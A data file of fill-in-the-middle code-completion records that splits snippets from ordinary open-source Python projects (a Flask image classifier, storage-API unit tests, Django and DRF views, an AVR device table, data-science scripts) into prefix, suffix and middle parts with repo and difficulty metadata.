"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: adi249/Image-Classifier path: /app.py
import flask
from flask import Flask,render_template,url_for,request
import pickle
import base64
import numpy as np
import cv2
import tensorflow as tf
#Initialize the useless part of the base64 encoded image.
init_Base64 = 21;
<|fim_suffix|> retu... | code_fim | hard | {
"lang": "python",
"repo": "adi249/Image-Classifier",
"path": "/app.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|># Use pickle to load in the pre-trained model.
with open(f'model_cnn.pkl', 'rb') as f:
model = pickle.load(f)
#Initializing new Flask instance. Find the html template in "templates".
app = flask.Flask(__name__, template_folder='templates')
#First route : Render the initial drawing templat... | code_fim | hard | {
"lang": "python",
"repo": "adi249/Image-Classifier",
"path": "/app.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: bdshieh/interaction3 path: /interaction3/bem/solvers/__init__.py
from . transmit_crosstalk import TransmitCrosstalk
from .<|fim_suffix|>crosstalk_bem_only import TransmitCrosstalkBemOnly
# from . transmit_beamplot import
# from . receive_beamplot import<|fim_middle|> receive_crosstalk import Rec... | code_fim | easy | {
"lang": "python",
"repo": "bdshieh/interaction3",
"path": "/interaction3/bem/solvers/__init__.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>. transmit_beamplot import
# from . receive_beamplot import<|fim_prefix|># repo: bdshieh/interaction3 path: /interaction3/bem/solvers/__init__.py
from . transmit_crosstalk import TransmitCrosstalk
from . receive_crosstalk import ReceiveCrosstalk
from . transmit_<|fim_middle|>crosstalk_bem_only import Tr... | code_fim | easy | {
"lang": "python",
"repo": "bdshieh/interaction3",
"path": "/interaction3/bem/solvers/__init__.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: dell/python-powerstore path: /PyPowerStore/tests/unit_tests/test_host.py
from PyPowerStore.utils import constants
from PyPowerStore.tests.unit_tests.base_test import TestBase
from PyPowerStore.utils.exception import PowerStoreException
from unittest import mock
class TestHost(TestBase):
de... | code_fim | hard | {
"lang": "python",
"repo": "dell/python-powerstore",
"path": "/PyPowerStore/tests/unit_tests/test_host.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> def test_modify_host(self):
host = self.provisioning.modify_host(self.data.host_id1,
description="modify host "
"description")
self.assertIsNone(host)
def test_add_invalid_initiat... | code_fim | hard | {
"lang": "python",
"repo": "dell/python-powerstore",
"path": "/PyPowerStore/tests/unit_tests/test_host.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: koddsson/django-prometheus path: /tests/end2end/testapp/views.py
from django.shortcuts import render
from django.template.response import TemplateResponse
from testapp.models import Lawn
import time
def index(request):
return TemplateResponse(request, 'index.html', {})
def help(request):
... | code_fim | hard | {
"lang": "python",
"repo": "koddsson/django-prometheus",
"path": "/tests/end2end/testapp/views.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> """This view creates a new Lawn instance in the database."""
l = Lawn()
l.location = location
l.save()
return TemplateResponse(request, 'lawn.html', {'lawn': l})
class ObjectionException(Exception):
pass
def objection(request):
raise ObjectionException('Objection!')<|fim_pr... | code_fim | medium | {
"lang": "python",
"repo": "koddsson/django-prometheus",
"path": "/tests/end2end/testapp/views.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: drx/Feel2 path: /compression/star.py
import struct
from array import array
from compression.exceptions import *
def decompress(compressed):
input_ptr = {'value': 0}
bit_count = {'value': 8}
compressed_array = array('B', compressed)
uncompressed = []
def get_byte():
v... | code_fim | hard | {
"lang": "python",
"repo": "drx/Feel2",
"path": "/compression/star.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> ctrl_bit, ctrl_byte = get_ctrl_bit(ctrl_byte)
if ctrl_bit:
raw_copy_count += 1
raw_copy_count *= 2
ctrl_bit, ctrl_byte = get_ctrl_bit(ctrl_byte)
if ctrl_bit:
raw_copy_count += 1
repeat_offs... | code_fim | hard | {
"lang": "python",
"repo": "drx/Feel2",
"path": "/compression/star.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> list_of_primes = []
#Make sure you add 1 to the range due to slice index.
for i in range(max_number + 1):
#Use our previous function. If true, append
#the number to list_of_primes.
if _is_prime(i):
list_of_primes.append(i)
return list_of_primes
if __nam... | code_fim | medium | {
"lang": "python",
"repo": "joeycoakley/itp-w1-list-of-prime-numbers",
"path": "/list_of_prime_numbers/main.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: joeycoakley/itp-w1-list-of-prime-numbers path: /list_of_prime_numbers/main.py
"""This is the entry point of the program."""
def _is_prime(number):
#Account for 0, 1, and 2. These don't play nice with our logic.
if number == 1 or number == 0:
return False
elif number == 2:
return T... | code_fim | medium | {
"lang": "python",
"repo": "joeycoakley/itp-w1-list-of-prime-numbers",
"path": "/list_of_prime_numbers/main.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: jialeiwang/mlpiper-tutorial path: /component-repository/XGBoostPredict/XGBoostPredict.py
from __future__ import print_function
import argparse
import pickle
import subprocess
import sys
import numpy as np
import pandas as pd
from scipy.stats import ks_2samp
from sklearn.datasets import make_cl... | code_fim | hard | {
"lang": "python",
"repo": "jialeiwang/mlpiper-tutorial",
"path": "/component-repository/XGBoostPredict/XGBoostPredict.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> # Initialize MLOps Library
mlops.init()
# Load the model
if self.input_model is not None:
try:
filename = self._params["input-model"]
model_file_obj = open(filename, 'rb')
mlops.set_stat("# Model Files Used", 1)
... | code_fim | hard | {
"lang": "python",
"repo": "jialeiwang/mlpiper-tutorial",
"path": "/component-repository/XGBoostPredict/XGBoostPredict.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: oetiker/osparc-simcore path: /services/director/src/simcore_service_director/exceptions.py
""" Defines the different exceptions that may arise in the director
TODO: Exceptions should provide all info to create Error instances of the API model
For instance, assume there is a ficticious excep... | code_fim | medium | {
"lang": "python",
"repo": "oetiker/osparc-simcore",
"path": "/services/director/src/simcore_service_director/exceptions.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> msg = "The service uuid %s is already in use" % (service_uuid)
super(ServiceUUIDInUseError, self).__init__(msg)
self.service_uuid = service_uuid
class RegistryConnectionError(DirectorException):
"""Error while connecting to the docker regitry"""
def __init__(self, ms... | code_fim | hard | {
"lang": "python",
"repo": "oetiker/osparc-simcore",
"path": "/services/director/src/simcore_service_director/exceptions.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
class PublisherViewSet(viewsets.ModelViewSet):
"""
API endpoint that allows publisher to be viewed or edited
"""
queryset = Publisher.objects.all()
serializer_class = PublisherSerializer<|fim_prefix|># repo: fernandoMartinsB/python-challenge path: /books/views.py
from rest_framework ... | code_fim | hard | {
"lang": "python",
"repo": "fernandoMartinsB/python-challenge",
"path": "/books/views.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: fernandoMartinsB/python-challenge path: /books/views.py
from rest_framework import viewsets
from .serializers import BookSerializer, AuthorSerializer, PublisherSerializer
from .models import Book, Author, Publisher
<|fim_suffix|>class AuthorViewSet(viewsets.ModelViewSet):
"""
API endpoi... | code_fim | medium | {
"lang": "python",
"repo": "fernandoMartinsB/python-challenge",
"path": "/books/views.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
class AuthorViewSet(viewsets.ModelViewSet):
"""
API endpoint that allows author to be viewed or edited
"""
queryset = Author.objects.all()
serializer_class = AuthorSerializer
class PublisherViewSet(viewsets.ModelViewSet):
"""
API endpoint that allows publisher to be viewe... | code_fim | medium | {
"lang": "python",
"repo": "fernandoMartinsB/python-challenge",
"path": "/books/views.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: izzatum/BoMb-OT path: /DeepDA/ALDA/train.py
open(data_config["target"]["list_path"]).readlines()]
dsets["source"] = ImageList(source_list, \
transform=prep_dict["source"])
if config['args'].stratify_source:
source_labels = torch.zeros((len(dsets["s... | code_fim | hard | {
"lang": "python",
"repo": "izzatum/BoMb-OT",
"path": "/DeepDA/ALDA/train.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> # Forward
if use_bomb:
with torch.no_grad():
for i in range(k):
xs_mb = xs_mb_all[inds_xs[i]].cuda()
ys_mb = ys_mb_all[inds_xs[i]].cuda()
g_xs_mb, f_g_xs_mb = base_network(xs_mb)
for... | code_fim | hard | {
"lang": "python",
"repo": "izzatum/BoMb-OT",
"path": "/DeepDA/ALDA/train.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> if v.lower() in ('yes', 'true', 't', 'y', '1'):
return True
elif v.lower() in ('no', 'false', 'f', 'n', '0'):
return False
else:
raise argparse.ArgumentTypeError('Unsupported value encountered.')
parser = argparse.ArgumentParser(description='... | code_fim | hard | {
"lang": "python",
"repo": "izzatum/BoMb-OT",
"path": "/DeepDA/ALDA/train.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: justthetips/cecbr path: /cecbr/photos/utils/parsers.py
import datetime
from time import strptime, mktime
from typing import List
import attr
from .cecbrsite import Page, IndexAlbumParser, unquote, FavoriteAlbumParser, ALBUM_URL
ALBUM_TOKEN = "\\\"SessionIDList\\\":[]}}"
@attr.s
class ParsedS... | code_fim | hard | {
"lang": "python",
"repo": "justthetips/cecbr",
"path": "/cecbr/photos/utils/parsers.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> favorite_tail = "seasonID={}&action=f".format(season)
favorite_url = '?'.join([ALBUM_URL, favorite_tail])
parser = FavoriteAlbumParser(page, favorite_url)
dicts = parser.parse()
results = []
for k, d in dicts.items():
pa = ParsedAlbum(id=unquote(k), season=unquote(d['Season... | code_fim | hard | {
"lang": "python",
"repo": "justthetips/cecbr",
"path": "/cecbr/photos/utils/parsers.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Annous87/schengen_customs path: /tests/test_customs.py
import unittest
import customs
from customs import orchestrator
from customs import validator
import json
class TestDates(unittest.TestCase):
<|fim_suffix|> def test_invalid_date_json(self):
# parse = customs.data_are_valid('test... | code_fim | hard | {
"lang": "python",
"repo": "Annous87/schengen_customs",
"path": "/tests/test_customs.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> with open('tests/entriesexitsnotrespected.json', 'r') as outfile:
data = json.load(outfile)
transformed = orchestrator.transform_data(
data['Reference Date'], data['Entries'], data['Exits'])
flag = orchestrator.not_accurate_entries_exists(transformed['df'])
... | code_fim | medium | {
"lang": "python",
"repo": "Annous87/schengen_customs",
"path": "/tests/test_customs.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> 'Brown-out detection at VCC=4.3 V'}}}, 'HWBE': {'mask': '0x08', 'caption': 'Hardware Boot Enable', 'values': {}}}, 'fuse_high': {'OCDEN': {'mask': '0x80', 'caption': 'On-Chip Debug Enabled', 'values': {}}, 'JTAGEN': {'mask': '0x40', 'caption': 'JTAG Interface Enabled', 'values': {}}, 'SPIEN': {'mask': '0... | code_fim | hard | {
"lang": "python",
"repo": "immunIT/owfmodules.avrisp.device_id",
"path": "/owfmodules/avrisp/avrisp_devices.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: immunIT/owfmodules.avrisp.device_id path: /owfmodules/avrisp/avrisp_devices.py
ot Flash size=512 words Boot address=$3E00'}, '1024W_3C00': {'value': '0x01', 'caption': 'Boot Flash size=1024 words Boot address=$3C00'}, '2048W_3800': {'value': '0x00', 'caption': 'Boot Flash size=2048 words Boot add... | code_fim | hard | {
"lang": "python",
"repo": "immunIT/owfmodules.avrisp.device_id",
"path": "/owfmodules/avrisp/avrisp_devices.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>caption': 'Further programming and verification disabled'}, 'PROG_DISABLED': {'value': '0x02', 'caption': 'Further programming disabled'}, 'NO_LOCK': {'value': '0x03', 'caption': 'No memory lock features enabled'}}}}}, '1e9209': {'name': 'ATtiny48', 'flash_size': '0x1000', 'eeprom_size': '0x0040', 'flash_... | code_fim | hard | {
"lang": "python",
"repo": "immunIT/owfmodules.avrisp.device_id",
"path": "/owfmodules/avrisp/avrisp_devices.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: collincr/ini_team_13 path: /task_scripts/task4.py
import geopandas as gpd
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
if __name__ == "__main__":
<|fim_suffix|> gdf = gpd.read_file("../data/geojson/calif_nev_ncei_grav.geojson")
gdf_subset = gdf[(gdf["l... | code_fim | hard | {
"lang": "python",
"repo": "collincr/ini_team_13",
"path": "/task_scripts/task4.py",
"mode": "psm",
"license": "Unlicense",
"source": "the-stack-v2"
} |
<|fim_suffix|> ax.bar(x=np.arange(gdf_subset.shape[0]), width=0.9,
height=gdf_subset_sorted["isostatic_anom"].values)
fig.savefig("task4.png")<|fim_prefix|># repo: collincr/ini_team_13 path: /task_scripts/task4.py
import geopandas as gpd
import pandas as pd
import numpy as np
import matplotlib.p... | code_fim | hard | {
"lang": "python",
"repo": "collincr/ini_team_13",
"path": "/task_scripts/task4.py",
"mode": "spm",
"license": "Unlicense",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: syam-s/smlb path: /smlb/core/utility.py
"""Utilities.
Scientific Machine Learning Benchmark:
A benchmark of regression models in chem- and materials informatics.
(c) Matthias Rupp 2019, Citrine Informatics.
Auxiliary code.
"""
import numpy as np
<|fim_suffix|> For default values, use 'whi... | code_fim | hard | {
"lang": "python",
"repo": "syam-s/smlb",
"path": "/smlb/core/utility.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> """True if argument is a list, tuple, array or similar object, but not a string, dictionary, set or similar object.
Parameters:
arg: the object to test
Returns:
True or False
"""
# np.float{16,32,64} and np.int types have __getitem__ defined
# this is a long-stan... | code_fim | medium | {
"lang": "python",
"repo": "syam-s/smlb",
"path": "/smlb/core/utility.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> if len(args) == 0:
raise InvalidParameterError(
"conditions and cases", "nothing", explanation="'which' statement without arguments"
)
if len(args) % 2 == 1:
return which(*args[:-1], True, args[-1])
for i in range(0, len(args), 2):
if args[i]:
... | code_fim | hard | {
"lang": "python",
"repo": "syam-s/smlb",
"path": "/smlb/core/utility.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
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